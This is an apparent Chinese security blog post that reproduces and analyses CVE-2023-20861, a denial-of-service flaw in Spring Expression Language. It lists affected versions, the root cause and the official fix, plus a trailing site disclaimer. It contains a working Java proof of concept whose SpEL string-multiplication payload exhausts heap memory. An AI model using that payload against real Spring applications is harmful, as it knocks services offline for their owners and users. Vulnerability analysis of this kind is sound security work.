SPEL拒绝服务漏洞(CVE-2023-20861)复现及分析

2024-11-01 23 0

0x01 简介

SPEL全称是 Spring Expression Language ,是Spring创建的表达式语言。用户可以输入特定的表达式导致拒绝服务。大家在挖洞的过程中可以关注一下,如果遇到的SPEL不存在远程代码执行漏洞,那么可以尝试一下拒绝服务漏洞。

0x02 影响版本

6.0.0 <= Spring Framwork <= 6.0.6

5.3.0 <= Spring Framwork <= 5.3.25

5.2.0.RELEASE <= Spring Framwork <= 5.2.22.RELEASE

0x03 环境搭建

创建一个maven项目,添加如下依赖

<dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-expression</artifactId>
            <version>5.2.22.RELEASE</version>
</dependency>

0x04 漏洞复现

利用如下Demo进行测试,看到抛出OutOfMemoryError的异常

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;

public class Main {
    public static void main(String[] args) {
        ExpressionParser parser = new SpelExpressionParser();
        SimpleEvaluationContext context = new SimpleEvaluationContext.Builder().build();
        Expression expr = parser.parseExpression("'akundaakundaakundaakundaakundaakundaakundaakundaakundaakundaakundaakunda'*88888888");
        expr.getValue(context, String.class);
    }
}

0x05 漏洞分析

SPEL表达式执行时会调用org.springframework.expression.spel.ast.OpMultiply#getValueInternal,根据AST获取左边的操作符和右边的操作符。

当左边是字符串且右边是整数时,会循环将左边的字符串加入到result中,循环次数由右边的整数指定。

即 result = <左边的字符串> * <右边的整数>,当我们字符串够长,整数够大时就能占满heap。

0x06 官方修复

先计算出 <字符串> * <整数> 的数量,然后检查该数量是否超过了最大值。

0x07 参考链接

https://spring.io/security/cve-2023-20861


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

办事处网络安全监控与事件响应;国外员工终端安全性怎么保障 | FB甲方群话题讨论
拿不下总统之位,那就用热加载拿下验证码识别与爆破好了!
Sooty:一款SoC分析一体化与自动化CLI工具
shiro CVE-2016-6802 路径绕过(越权)
Apache Solr 身份验证绕过漏洞(CVE-2024-45216)详解
llama_index的CVE-2024-4181漏洞根因分析

发布评论